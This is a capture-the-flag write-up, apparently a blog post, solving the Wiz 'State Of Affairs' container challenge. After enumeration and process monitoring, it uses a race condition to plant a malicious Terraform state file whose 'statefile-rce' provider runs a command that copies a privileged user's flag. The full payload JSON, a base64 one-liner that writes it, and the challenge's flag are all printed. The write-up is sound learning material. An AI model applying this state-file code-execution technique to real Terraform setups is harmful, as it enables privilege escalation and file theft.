Skip to main content
  1. Writeups/

Wiz The Ultimate Cloud Championship: State Of Affairs

·3 mins·
Arbaaz Jamadar
Author
Arbaaz Jamadar
Table of Contents
New Article!!

State of Affairs
#

You’ve gained access to a container running some infrastructure automation. A cron job executes Terraform every minute to keep certificates fresh.

The flag is stored in a privileged user’s home directory - but you’re just a regular user with no direct access.

Can you find a way to make Terraform work for you?

image.png

Initial Enumeration:
#

image.png

  1. The user is not part of any special group

  2. There are no SUID or Sudo privileges

  3. You can’t list any cron jobs

  4. Interesting:

    1. Supercronic → Supercronic is a crontab-compatible job runner, designed specifically to run in containers.

      https://github.com/aptible/supercronic/

    2. TF_Data_dir → Location to store where Terraform keeps its per-working-directory data.

      https://discuss.hashicorp.com/t/workspaces-and-tf-data-dir/8027

  5. Services running:

    image.png

    1. I wasn’t able to enumerate the port, but it is visible that we are inside a container. 127.0.0.11 Is the DNS server inside the container when you use user-defined Docker networks.
  6. tfuser:

    image.png

    image.png

    1. Interesting files owned by tfuser :
      1. All Terraform data is stored in tmp directory
  7. Tmp directory:

    image.png

    1. We can read state files and Terraform files.

      image.png

    2. Backend to store state files in /tmp and there are 3 providers you can verify by going to /tmp/.terraform/providers/registry.terraform.io/hashicorp

      image.png

Hidden process:
#

  1. Since we know that there is cronjob running as mentioned in the question, we can monitor processes/hidden processes running using pspy64 .

    https://github.com/DominicBreuker/pspy

    image.png

    1. Supercronic is running a cronjob from /var/tmp/crontab

      image.png

    2. The -chdir flag is a global flag to change the directory while running the Terraform task.

    3. tfoutput.log stores the changes that have occurred after applying the manifest.

Privilege Escalation (Exploit):
#

  1. By now we know:
    1. Cronjob runs every 1 minute
    2. Terraform is initialized and applied on every cronjob
    3. The Terraform Data, such as providers and backend config file, is stored at /tmp/.terraform
    4. And the Terraform statefiles are stored at /tmp/
  2. We meet the requirement for Statefile-rce exploit: https://cloud.hacktricks.wiki/en/pentesting-ci-cd/terraform-security.html
    1. We need to install the malicious provider - satisfied by terraform init
    2. Interacting with the statefile happens when you use terraform plan or terraform apply is used - satisfied by terraform apply
  3. Problem:
    1. We can’t modify the existing terraform.tfstate file, we have no write access. This can be bypassed as there are no state files after the machine has been reset.
  4. Solution:
    1. We have to exploit a race condition:
      1. According to the challenge, the cronjob is run every one minute, so when the machine has been reverted to its original state, there will be exactly 1 minute before we see a state file in /tmp directory.

        image.png

Exploit:
#

  1. We have to create malicious statefile before the cronjob is run:

    {
        "version": 4,
        "terraform_version": "1.14.3",
        "serial": 14,
        "lineage": "6c3ddd4d-f9a4-297d-27d0-ce52d1a1852e",
        "outputs": {},
        "resources": [ {
        "mode": "managed",
        "type": "rce",
        "name": "command",
        "provider": "provider[\"registry.terraform.io/offensive-actions/statefile-rce\"]",
        "instances": [
        {
            "schema_version": 0,
            "attributes": {
            "command": "cp /home/tfuser/flag /home/ctf/flag.txt && chmod 777 /home/ctf/flag.txt ",
            "id": "rce"
            },
            "sensitive_attributes": [],
            "private": "bnVsbA=="
        }
        ]
        }
    ]
        "check_results": null
    }
    
  2. Create a base64 encoded payload so that no special characters are escaped while creating the malicious statefile

    echo "ew0KICAidmVyc2lvbiI6IDQsDQogICJ0ZXJyYWZvcm1fdmVyc2lvbiI6ICIxLjE0LjMiLA0KICAic2VyaWFsIjogMTQsDQogICJsaW5lYWdlIjogIjZjM2RkZDRkLWY5YTQtMjk3ZC0yN2QwLWNlNTJkMWExODUyZSIsDQogICJvdXRwdXRzIjoge30sDQogICJyZXNvdXJjZXMiOiBbDQogICAgew0KICAgICAgIm1vZGUiOiAibWFuYWdlZCIsDQogICAgICAidHlwZSI6ICJyY2UiLA0KICAgICAgIm5hbWUiOiAicmNlIiwNCiAgICAgICJwcm92aWRlciI6ICJwcm92aWRlcltcInJlZ2lzdHJ5LnRlcnJhZm9ybS5pby9vZmZlbnNpdmUtYWN0aW9ucy9zdGF0ZWZpbGUtcmNlXCJdIiwNCiAgICAgICJpbnN0YW5jZXMiOiBbDQogICAgICAgIHsNCiAgICAgICAgICAic2NoZW1hX3ZlcnNpb24iOiAwLA0KICAgICAgICAgICJhdHRyaWJ1dGVzIjogew0KICAgICAgICAgICAgImNvbW1hbmQiOiAiY3AgL2hvbWUvdGZ1c2VyL2ZsYWcgL3RtcC9mbGFnICYmIGNobW9kIDc3NyAvdG1wL2ZsYWciLA0KICAgICAgICAgICAgImlkIjogInJjZSINCiAgICAgICAgICB9LA0KICAgICAgICAgICJzZW5zaXRpdmVfYXR0cmlidXRlcyI6IFtdLA0KICAgICAgICAgICJwcml2YXRlIjogImJuVnNiQT09Ig0KICAgICAgICB9DQogICAgICBdDQogICAgfQ0KICBdLA0KICAiY2hlY2tfcmVzdWx0cyI6IG51bGwNCn0=" | base64 -d > /tmp/terraform.tfstate && chmod 777 /tmp/terraform.tfstate 
    
  3. Now we reset the machine and execute our payload before the cronjob is run:

    1. After Reset:

      image.png

    2. After the cronjob is run successfully:

      image.png

Flag:
#

WIZ_CTF{B00tTh3St4t3_Trust_N0_Pr0v1d3r}

Related

How I passed my OSCP on my first attempt with 3 months prep
·9 mins
Offsec Certified Professional (OSCP/OSCP+)
·1 min
Needle In A Haystack: Deep dive into subdomain enumeration using OSINT Tools
·4 mins